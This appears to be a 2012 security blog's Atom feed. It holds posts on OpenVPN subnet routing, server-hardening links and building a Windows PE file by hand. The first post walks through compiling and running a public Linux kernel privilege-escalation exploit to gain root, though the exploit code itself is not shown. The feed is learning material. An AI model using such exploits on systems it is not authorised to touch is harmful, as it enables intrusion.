<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-5979048552011395433</id><updated>2012-02-16T07:07:03.616-08:00</updated><category term='DNS'/><category term='logs'/><category term='cache poisoning'/><category term='access point'/><category term='dd'/><category term='partimage'/><category term='nmblookup'/><category term='DirBuster'/><category term='vulnerability'/><category term='Hydra'/><category term='apt-get'/><category term='Nexpose'/><category term='Privilegdge escalation'/><category term='Parsing'/><category term='gpxe'/><category term='file carving'/><category term='restore'/><category term='webserver'/><category term='awk'/><category term='cracking'/><category term='smbclient'/><category term='smbclient.py'/><category term='server best practices'/><category term='Honeyport'/><category term='john-the-ripper'/><category term='openvpn'/><category term='ncat'/><category term='U3'/><category term='mdd'/><category term='snort'/><category term='backup'/><category term='volatility'/><category term='foremost'/><category term='contest'/><category term='steganography'/><category term='dovecot'/><category term='file recovery'/><category term='sethc.exe'/><category term='Pass_The_Hash'/><category term='IPS'/><category term='hexedit'/><category term='pcapcat'/><category term='openssl'/><category term='RAT'/><category term='httptunnel'/><category term='metasploit'/><category term='Perl'/><category term='msgsnarf'/><category term='Arp'/><category term='mpg123'/><category term='scan'/><category term='forensics'/><category term='filter'/><category term='USB'/><category term='logrotate'/><category term='ntfsclone'/><category term='isolate'/><category term='asterisk'/><category term='fatback'/><category term='WEP'/><category term='Psexec'/><category term='Replay'/><category term='Ferret'/><category term='ddclient'/><category term='sslstrip'/><category term='ssl'/><category term='rinetd'/><category term='rainbowtables'/><category term='preyproject'/><category term='egrep'/><category term='airbase-ng'/><category term='PE file'/><category term='meterpreter'/><category term='drifntet'/><category term='sniffit'/><category term='Guptachar'/><category term='PingTunnel'/><category term='aireplay-ng'/><category term='unicode exploit'/><category term='aircrack-ng'/><category term='IDS'/><category term='ngrep'/><category term='wireless router'/><category term='Nessus'/><category term='Ettercap'/><category term='tcpnice'/><category term='netdiscover'/><category term='inetd'/><category term='Physical access'/><category term='tcpkill'/><category term='malware analysis'/><category term='DiskDigger'/><category term='postfix'/><category term='tunneling'/><category term='sidejacking'/><category term='Stealing cookies'/><category term='Puzzle'/><category term='recover'/><category term='Backtrack 5'/><category term='sql injection'/><category term='deleted'/><category term='sqlmap'/><category term='Vicompress'/><category term='minishare'/><category term='ophcrack'/><category term='Routers'/><category term='swatch'/><category term='photorec'/><category term='File2cable'/><category term='stunnel'/><category term='MsfPayload'/><category term='redirector'/><category term='prey'/><category term='Custom Wordlist'/><category term='backdoors'/><category term='SET'/><category term='dnsspoof'/><category term='fwknop'/><category term='Pentest Cycle'/><category term='dcfldd'/><category term='pxe'/><category term='apache'/><category term='undelete'/><category term='hack'/><category term='Adito'/><category term='paros'/><category term='scalpel'/><category term='Hashcat'/><category term='Netcat'/><category term='OpenVPN-ALS'/><category term='ssh'/><category term='halflm'/><category term='backups'/><category term='PE structure'/><category term='Exploit'/><category term='testdisk'/><category term='steghide'/><category term='Cowpatty'/><category term='arpspoof'/><category term='Tcpdump'/><category term='filters'/><category term='The Sleuth Kit'/><category term='ptunnel'/><category term='chntpw'/><category term='sniffer'/><category term='Binary Kung-Fu'/><category term='cheatsheet'/><category term='Hamster'/><category term='smtpcat'/><category term='password'/><category term='Buffer overflow'/><title type='text'>"Invincibility lies in the defence; the possibility of victory in the attack" by Sun Tzu</title><subtitle type='html'>Notes on my research from topics involving Network Security, Pentesting, Network/Computer Forensics and more. My intention is to use the knowledge for good and to raise awareness with regards to cyber security threats and other vulnerabilites. Therefore, as I learn, you can learn.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default?start-index=101&amp;max-results=100'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>111</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-7092063020622231157</id><published>2012-01-23T07:15:00.000-08:00</published><updated>2012-01-23T07:48:37.582-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Privilegdge escalation'/><title type='text'>Local priv escalation - linux kernel 2.6.39 and up</title><content type='html'>Today, i noticed a new local privilege escalation exploit on exploit-db.com, and decided to check that out. Initially i thought it might be an exploit for very old Linux kernels but that certainly wasn't the case (here is the advisory on &lt;a href="http://www.securityfocus.com/bid/51625/info"&gt;securityfocus.com&lt;/a&gt;). I figured that i would try this on one of my VMs when i got home from work, but i was a little too impatient. I thought i would remote desktop to my systems and get started. Before i attempted this, i figured why not verify the kernel version of my host machine before initiating a remote desktop session. My laptop is running backtrack 5 R1. So i typed, "&lt;span style="color: rgb(51, 255, 51);"&gt;uname -sr&lt;/span&gt;" and was given the output "&lt;span style="color: rgb(255, 102, 0);"&gt;Linux 2.6.39.4&lt;/span&gt;". Very interesting i thought. Hmm, i figured i'll try it here before any of my VMs (yea i know, bad practice to try someone else's code on a host system before trying it out on your test bench, but i'm not perfect :-P). I went over to exploit-db.com and downloaded the &lt;a href="http://www.exploit-db.com/download/18411"&gt;exploit&lt;/a&gt; and got to work.&lt;br /&gt;&lt;br /&gt;First i made sure i was logged in as an unpriveleged user.&lt;br /&gt;Commands: &lt;span style="color: rgb(51, 255, 51);"&gt;whoami &amp;amp;&amp;amp; id&lt;/span&gt;&lt;br /&gt;Output:&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;noobuser&lt;/span&gt;&lt;br style="color: rgb(255, 102, 0);"&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;uid=1001(noobuser) gid=1001(noobuser) groups=1001(noobuser)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I complied the code using: &lt;span style="color: rgb(51, 255, 51);"&gt;gcc -o local_exploit 18411.c&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Then i executed the exploit: &lt;span style="color: rgb(51, 255, 51);"&gt;./exploit&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I was then greeted with another shell. I then verified who i was logged in as.&lt;br /&gt;Commands: &lt;span style="color: rgb(51, 255, 51);"&gt;whoami &amp;amp;&amp;amp; id&lt;/span&gt;&lt;br /&gt;Output:&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;root&lt;/span&gt;&lt;br style="color: rgb(255, 102, 0);"&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;uid=0(root) gid=0(root) groups=1001(noobuser)&lt;/span&gt;&lt;br style="color: rgb(255, 102, 0);"&gt;&lt;br /&gt;There you have it. Even an account named noobuser can pwn systems and become root with lil effort. Unfortunately, noobuser will still continue to be considered anything but elite, atleast in the security community :(.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-7092063020622231157?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/7092063020622231157/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2012/01/local-priv-escalation-linux-kernel-2639.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/7092063020622231157'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/7092063020622231157'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2012/01/local-priv-escalation-linux-kernel-2639.html' title='Local priv escalation - linux kernel 2.6.39 and up'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-3527930011618791223</id><published>2012-01-17T12:25:00.000-08:00</published><updated>2012-01-18T13:20:55.897-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='openvpn'/><title type='text'>OpenVPN revisited</title><content type='html'>I already touch on the basics on setting up openvpn. In that setup, a remote client(or clients) will only be able to connect to the server and access it's services. This time i want to share a little bit of knowledge on setting things up where remote clients can communicate with other devices on the server network.&lt;br /&gt;&lt;br /&gt;Network setup:&lt;br /&gt;                                                          &lt;span style="color: rgb(51, 255, 255);"&gt;&lt;span style="font-weight: bold;"&gt;Internal:&lt;/span&gt;&lt;br /&gt;[router:192.168.1.1]&lt;/span&gt;&lt;br style="color: rgb(51, 255, 255);"&gt;                                                                                   &lt;span style="color: rgb(51, 255, 255);"&gt;[client1:192.168.1.100] [client2:192.168.1.101]&lt;/span&gt;&lt;br /&gt;                                                      &lt;br /&gt;                                                                      &lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;Server:&lt;/span&gt;&lt;br style="color: rgb(255, 0, 0);"&gt;                                              &lt;client1:192.168.1.2&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;[internal:192.168.1.10]&lt;/span&gt; - &lt;span style="color: rgb(255, 0, 0);"&gt;[vpn:10.10.10.1]&lt;/span&gt;&lt;br /&gt;                                                                                                          &lt;br style="color: rgb(51, 255, 51); font-weight: bold;"&gt;&lt;span style="color: rgb(51, 255, 51); font-weight: bold;"&gt;VPN clients:&lt;/span&gt;&lt;br style="color: rgb(51, 255, 51);"&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;                                                                                                                       &lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;[vpn:remote user:10.10.10.2]&lt;/span&gt;&lt;br /&gt;&lt;remote 6=""&gt;                                                                                                                                                                                                &lt;client2:192.168.1.3&gt;&lt;br /&gt;&lt;br /&gt;The server is connected to an internal network, 192.168.1.0/24. When the VPN link is establiished, the vpn network of 10.10.10.0/24 will be established and the server will get the ip address of 10.10.10.1, while connecting clients will get different addresses from the vpn's address pool. Now if you've followed my previous openvpn setup, the remote client would only be able to communicate with that server. However many businesses require that remote vpn users have access to the entire subnet's resources. As you will see, upgrading to this setup is quite simple.&lt;br /&gt;&lt;br /&gt;Here are the client and server configs:&lt;br /&gt;&lt;br /&gt;Server:&lt;br /&gt;&lt;blockquote&gt;dev tun&lt;br /&gt;port 1194&lt;br /&gt;proto udp&lt;br /&gt;daemon&lt;br /&gt;server 10.10.10.0 255.255.255.0&lt;br /&gt;ca ca.crt&lt;br /&gt;cert server.crt&lt;br /&gt;key server.key&lt;br /&gt;dh dh1024.pem&lt;br /&gt;push "route 192.168.1.0 255.255.255.0"&lt;br /&gt;ifconfig-pool-persist ipp.txt&lt;br /&gt;keepalive 10 120&lt;br /&gt;comp-lzo&lt;br /&gt;max-clients 100&lt;br /&gt;user nobody&lt;br /&gt;group nogroup&lt;br /&gt;persist-key&lt;br /&gt;persist-tun&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;Client:&lt;br /&gt;&lt;blockquote&gt;client&lt;br /&gt;dev tun&lt;br /&gt;proto udp&lt;br /&gt;remote 11.22.33.44 1194&lt;br /&gt;resolve-retry infinite&lt;br /&gt;nobind&lt;br /&gt;ca ca.crt&lt;br /&gt;cert client.crt&lt;br /&gt;key client.key&lt;br /&gt;comp-lzo&lt;br /&gt;user nobody&lt;br /&gt;group nogroup&lt;br /&gt;verb 3&lt;br /&gt;&lt;/blockquote&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;Things to note:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The "&lt;span style="color: rgb(51, 255, 51);"&gt;daemon&lt;/span&gt;" directive tells openvpn to run in the background and send all output and error messages to a syslog file such as /var/log/syslog or /var/log/messages.&lt;br /&gt;&lt;br /&gt;Including the &lt;span style="color: rgb(51, 255, 51);"&gt;"server 10.10.10.0 255.255.255.0"&lt;/span&gt; setting defines the vpn address pool. The first address, 10.10.10.1, will be assigned to the vpn server's tun interface.&lt;br /&gt;&lt;br /&gt;&lt;/client2:192.168.1.3&gt;&lt;/remote&gt;&lt;/client1:192.168.1.2&gt;The &lt;span style="color: rgb(51, 255, 51);"&gt;push "route 192.168.1.0 255.255.255.0"&lt;/span&gt; setting allows the server to advertise this subnet to connecting clients. When a remote client connects to the vpn server, a route will be added for the subnet 192.168.1.0/24, in that client's routing table.&lt;br /&gt;&lt;client1:192.168.1.2&gt;&lt;remote 6=""&gt;&lt;client2:192.168.1.3&gt;&lt;br /&gt;The &lt;span style="color: rgb(51, 255, 51);"&gt;ifconfig-pool-persist ipp.txt &lt;/span&gt;&lt;/client2:192.168.1.3&gt;&lt;/remote&gt;&lt;/client1:192.168.1.2&gt;is very interesting. According to the openvpn's manpage in linux, &lt;span style="color: rgb(255, 0, 0);"&gt;The goal of this option is to provide a long-term association between   clients (denoted by their common name) and the virtual IP address   assigned to them from the ifconfig-pool. &lt;/span&gt;&lt;br /&gt;&lt;client1:192.168.1.2&gt;&lt;remote 6=""&gt;&lt;client2:192.168.1.3&gt;&lt;br /&gt;The "&lt;span style="color: rgb(51, 255, 51);"&gt;nobind&lt;/span&gt;" directive in the client config simply tells the client to not bind to any address and port. This directive is only suitable for clients.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;Very Important things to note:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;If you were to use the sample configuration files above as is, you will only have proper communication to the server, but not the subnet behind the server. This is what happens if vpn client 10.10.10.2 tried to ping 192.168.1.100; Since the clients will now have a route added for the 192.168.1.0/24 network, the ping packet will get sent over the vpn tunnel. The server already has a route to the internal network so the packet will be routed, &lt;span style="color: rgb(255, 0, 0);"&gt;ONLY&lt;/span&gt; if  after setting up forwarding :). In linux you do this by typing the following in a terminal:&lt;span style="color: rgb(51, 255, 255);"&gt; "echo "1" &amp;gt; /proc/sys/net/ipv4/ip_forward"&lt;/span&gt;. This turns your machine into a basic router. Without this, your machine will drop all packets that aern't ment for itself. So assuming we have forwarding  in place, our inital ping packet will get forwarded to the internal host. Now we run into more problems.&lt;br /&gt;&lt;br /&gt;The internal host will recieve the packet but since it doesn't have a route for the vpn client's network (10.10.10.0/24), it will send its response to its default gateway ( routers in most cases), then the router will consult its internal routing table and learn that it has no route for that network then forward the packet to its default gateway, and so on until the packet is dropped. Note that addresses such as 192.168.0.0 and 10.0.0.0 are dropped by routers on the internet as they are flagged as non-route-able addresses.&lt;br /&gt;&lt;br /&gt;The solution to this is to add a route to the default gateway. For me, this would be the router, so i would log onto the routers web interface and goto the routing settings and add a maunal route for the 10.10.10.0/24 network to forward packets to the vpn server, 192.168.1.1.&lt;br /&gt;&lt;br /&gt;Now, instead of our router forwarding the packets on the internet (where they will eventually be dropped), since we have an entry for the 10.10.10.0/24 network in the gateways routing table, the packets will be forwarded to the vpn server. Again, we run into another problem, NAT. I suggest that you read up on NAT (network address translation), as it can be quite a challenge to define its purpose and what it is. Therefore i will leave that up to you and your googling skills.&lt;br /&gt;&lt;br /&gt;However, the solution to the NAT problem takes only one command on the linux terminal:&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;"iptables -t nat -A POSTROUTING -s 10.10.10.0/24 -o eth0 -j MASQUERADE"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Now everything should be up and working. Remote vpn clients should now be able to communicate successfully with the other hosts on the servers internal network. Try pinging the other hosts to verify connectivity and if all is well, tap yourself on the shoulder.&lt;br /&gt;&lt;br /&gt;&lt;/client2:192.168.1.3&gt;&lt;/remote&gt;&lt;/client1:192.168.1.2&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-3527930011618791223?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/3527930011618791223/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2012/01/openvpn-revisited.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/3527930011618791223'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/3527930011618791223'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2012/01/openvpn-revisited.html' title='OpenVPN revisited'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-2642179249661307596</id><published>2012-01-11T06:37:00.000-08:00</published><updated>2012-01-11T09:33:33.744-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='server best practices'/><title type='text'>Various Server services: Best Practice - compilation</title><content type='html'>This blog post will combine some of the best resources that i could find regarding server setups and best practices. Services will include web server (http), ssh, ftp etc. Of course you can find these on your own but why go through dozens of search engine results just to find that 80% of them aern't that useful, when I've done most of the hard stuff for you :).&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;SSH server (openssh):&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Link 1: &lt;a href="http://www.cyberciti.biz/tips/linux-unix-bsd-openssh-server-best-practices.html"&gt;cyberciti.biz&lt;/a&gt;&lt;br /&gt;Link 2: &lt;a href="http://www.howtoforge.com/ssh-best-practices"&gt;howtoforge.com&lt;/a&gt;&lt;br /&gt;Link 3: &lt;a href="http://teknoteknik.wordpress.com/2010/07/06/best-practices-to-secure-a-opensshssh-server/"&gt;teknoteknik.wordpress.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;FTP server(vsftpd):&lt;/span&gt;&lt;br /&gt;Link 1: &lt;a href="https://help.ubuntu.com/11.10/serverguide/C/ftp-server.html"&gt;Ubuntu Server documentation&lt;/a&gt;&lt;br /&gt;Link 2: &lt;a href="http://viki.brainsware.org/?en/Virtual_Users_simple"&gt;brainsware.org vsftpd virtual users&lt;/a&gt;&lt;br /&gt;Link 3: &lt;a href="http://www.centos.org/docs/5/html/Deployment_Guide-en-US/s1-ftp-vsftpd-conf.html"&gt;Centos.org vsftpd config options&lt;/a&gt;&lt;br /&gt;Link 4: &lt;a href="http://www.codeguru.com/csharp/.net/net_general/internet/article.php/c14329"&gt;SFTP vs FTPS&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Web Server (apache):&lt;/span&gt;&lt;br /&gt;Link 1: &lt;a href="http://httpd.apache.org/docs/1.3/misc/tutorials.html"&gt;apache.orgs tutorial collection&lt;/a&gt; (Best list)&lt;br /&gt;Link 1: &lt;a href="http://www.yolinux.com/TUTORIALS/LinuxTutorialApacheAddingLoginSiteProtection.html"&gt;yolinux.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Database server (mysql):&lt;/span&gt;&lt;br /&gt;Link 1: &lt;a href="https://help.ubuntu.com/11.10/serverguide/C/mysql.html"&gt;ubuntu server documentation&lt;/a&gt;&lt;br /&gt;Link 2: &lt;a href="http://www.greensql.com/articles/mysql-security-best-practices"&gt;greensql.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;dhcp server (dhcpd):&lt;/span&gt;&lt;br /&gt;Link 1: &lt;a href="https://help.ubuntu.com/11.10/serverguide/C/dhcp.html"&gt;Ubuntu server documentation&lt;br /&gt;&lt;/a&gt;Link 2: &lt;a href="http://consultingblogs.emc.com/markwilson/archive/2005/07/21/1821.aspx"&gt;Article at consultingblogs.emc.com&lt;/a&gt; (very good read)&lt;br /&gt;&lt;br /&gt;As i find more interesting articles, i will update this blog post. If you are interested in implementing any of the above services or just looking for some best practices, hopefully you will find these resources useful as i have.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-2642179249661307596?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/2642179249661307596/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2012/01/various-server-services-best-practice.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/2642179249661307596'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/2642179249661307596'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2012/01/various-server-services-best-practice.html' title='Various Server services: Best Practice - compilation'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-4771824864077368763</id><published>2012-01-01T09:31:00.000-08:00</published><updated>2012-01-19T15:20:14.047-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PE file'/><category scheme='http://www.blogger.com/atom/ns#' term='Binary Kung-Fu'/><category scheme='http://www.blogger.com/atom/ns#' term='PE structure'/><title type='text'>Binary Kung-Fu - Manually create a working windows PE file using a hexeditor</title><content type='html'>Sure you can open up visual basic or visual c++ and write your own exe in less than 5 minutes. Why would you want to do this manually with a hex editor? Well for one its fun doing this for the first time on your own, but most importantly, it teaches you a heck of alot. You learn what makes up an exe and how windows uses the data in the executable to map things into memory, etc. It goes without saying that the more you know about something and how it works, the better you will be at fixing potential problems that may arise and also manipulating the component to do other things that it wasn't intended to do in the first place (i.e hacking).&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Who might find this useful or where might this knowledge be implemented?&lt;/span&gt;&lt;br /&gt;1. Reverse Engineering.&lt;br /&gt;2. Malware Analysis. Malware authors tend to do some pretty darn cool tricks with the PE   headers, like actually writing/hiding code in the headers itself.&lt;br /&gt;3. Antivirus research.&lt;br /&gt;4. Exploit research&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;What you will need.&lt;/span&gt;&lt;br /&gt;1. Windows OS. I used windows XP service pack 2 in virtualbox.&lt;br /&gt;2. A hex editor. The one i'm most familiar with is &lt;a href="http://mh-nexus.de/en/hxd/"&gt;HxD&lt;/a&gt; which is freeware.&lt;br /&gt;3. LordPE (edit PE file headers).&lt;br /&gt;4. PE file format reference. You can google "pe file format" and you should get some useable documents. I like the one at &lt;a href="http://pentest.cryptocity.net/files/reversing/helsinki/reverse_engineering__pe_format.pdf"&gt;pentest.cryptocity.net&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;At this point, you should look up the meaning of "little/big Endian" with relation to x86 processors. Certain values in PE files are interpret by windows in a sort of reverse order. For example, a dword (4 bytes) to represent the value of two will be "02 00 00 00". When windows reads this dword, it reads it in reverse as "00 00 00 02".&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The first thing to do is open up your hexeditor and create a new project. One important thing that you should be aware of is that although the PE file header can be complex, not all of the fields are of importance to us in order to getting our executable running. However, that doesnt mean we will omit them from the header. We will just have to pad these fields with zeros.&lt;br /&gt;&lt;br /&gt;Ok lets start...&lt;br /&gt;&lt;br /&gt;Every PE file requires a DOS header. If you analyze most PE files, you will notice like within the first 100 bytes or so, there is some text saying something along the lines of "This program must be run under win32". The DOS header is there for backwards compatibility on 16bit DOS systems. If you attempted to run a win32 program in 16bit DOS, then it will simply print that message then quit.&lt;br /&gt;&lt;br /&gt;In the windows 32bit environment, the windows loader only cares about two fields in the DOS header. The first 2 bytes should be "&lt;span style="color: rgb(51, 255, 255);"&gt;MZ&lt;/span&gt;" and the last 4 bytes contains the offset within the file where the PE header starts. The DOS header is 64 bytes long (0x40).&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Note:&lt;/span&gt; that you would notice the last 4 bytes (as shown in the image below) are "&lt;span style="color: rgb(51, 255, 255);"&gt;40 00 00 00&lt;/span&gt;". Remember the little indian description i gave earlier? When windows reads this file, its gonna take those 4 bytes and flip it around so as you'll get "00 00 00 40" or 0x00000040 (hexadecimal 40). This means that at offset 0x40, windows should look for the PE header.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-rbNNX2DpadY/TwCi_ZE0q1I/AAAAAAAAAA4/3e3NB05egIs/s1600/DOS_header.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 250px;" src="http://4.bp.blogspot.com/-rbNNX2DpadY/TwCi_ZE0q1I/AAAAAAAAAA4/3e3NB05egIs/s400/DOS_header.png" alt="" id="BLOGGER_PHOTO_ID_5692729138942880594" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;The next 24 bytes will have the PE signature and image file header. You will notice that i didn't input the typical DOS message "This program must be run under win32", after the DOS header because like i mentioned before, in a win32 environment, the windows executable loader only looks for two things in the DOS header (the MZ signature and the pointer to the PE header (This pointer is at offser 0x3c in the DOS header ) . Also note that we will zero out some of the fields in the image file header. Remember the DOS header is 64 bytes (0x40) long so therefore we will start with the PE signature here at offset 0x40.&lt;br /&gt;In the hex editor, append 24 bytes of zeros to your file so we have the correct length in place for this structure that holds the PE signature and image file structure. Now at offset 0x40, overwrite the first 4 bytes with "&lt;span style="color: rgb(51, 255, 255);"&gt;50 45 00 00&lt;/span&gt;", which is the "PE" signature. At offset 0x44, write "&lt;span style="color: rgb(51, 255, 255);"&gt;4c 01&lt;/span&gt;". This here means that this program is intended to be ran on an intel i386 platform. The next two bytes are the number of sections. We are gonna use two sections, so write "&lt;span style="color: rgb(51, 255, 255);"&gt;02 00&lt;/span&gt;". The next 12 bytes are not important so just leave them zero'd out. At offset 0x54, enter "&lt;span style="color: rgb(51, 255, 255);"&gt;E0 00&lt;/span&gt;" and at offset 0x56, enter "&lt;span style="color: rgb(51, 255, 255);"&gt;03 01&lt;/span&gt;". Offset 0x54 is important and specifies how big the next structure beginning at offset 0x58 should be (this structure is the NT_OPTIONAL_HEADERS field). We derived this value by adding the size of the optional NT header which is 0x60 (96 bytes) and the size of the image data directories. Each entry in the data directories is 8 bytes long and we have up to 16 entries (this equates to 128 bytes). So 96 plus 128 bytes is 224 bytes (or 0xE0). Offset 0x56 is rather complicated. The values in this field can determine whether this file is a dll or executable, if a 32 bit machine is expected and so forth. Its best to observe this field in LordPE. I copied the values for this field in another executable "03 01".&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-9rhlyAPcOMY/TwCuIithcAI/AAAAAAAAABE/ljah-T8yRuU/s1600/PE_file_header.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 250px;" src="http://2.bp.blogspot.com/-9rhlyAPcOMY/TwCuIithcAI/AAAAAAAAABE/ljah-T8yRuU/s400/PE_file_header.png" alt="" id="BLOGGER_PHOTO_ID_5692741390776233986" border="0" /&gt;&lt;/a&gt;Since we specified in at offset 0x54 that the NT optional header was gonna be 224 bytes (0xE0) long, lets pad our file with 224 bytes as well. Remember, in our file, the NT optional header structure starts at offset 0x58.&lt;br /&gt;&lt;br /&gt;At offset 0x58, enter bytes "&lt;span style="color: rgb(51, 255, 255);"&gt;0B 01&lt;/span&gt;". These two bytes tells windows that this is a PE32 file.&lt;br /&gt;From offset 0x5A, the next 14 bytes are not important and can remain all zeros. This takes us to offset 0x68. This field is a dword (4 bytes) and takes an RVA (Relative Virtual Address). An RVA is an offset that is added to a base address. For example, if a base address is 0x00400000 and the RVA to a function named "OpenFile" is "2000", then this equates the function being located at 0x00402000. There are quite a few fields that contain an RVA, but just remember that an RVA is always an offset that is added to the base address (the base address will be defined shortly is the NT optional header) in order to find the location of that object in &lt;span style="color: rgb(255, 0, 0);"&gt;Virtual memory&lt;/span&gt;. RVA's never point to an offset in the executable file. Lets get back on track. At offset 0x68 we will write a dword for an RVA representing the AddressOfEntryPoint (address of entry point is where our program will begin executing code after it is loaded into memory). We write "&lt;span style="color: rgb(51, 255, 255);"&gt;00 10 00 00&lt;/span&gt;". The next 8 bytes are not important so leave them zero'd.&lt;br /&gt;&lt;br /&gt;We are now at offset 0x74. This field is the image base that i refered to before as i was explaining RVAs. This field takes a dword and i will use " &lt;span style="color: rgb(51, 255, 255);"&gt;00 00 40 00&lt;/span&gt;".&lt;br /&gt;The next 8 bytes define the section alignment and the file alignment respectively. They are both 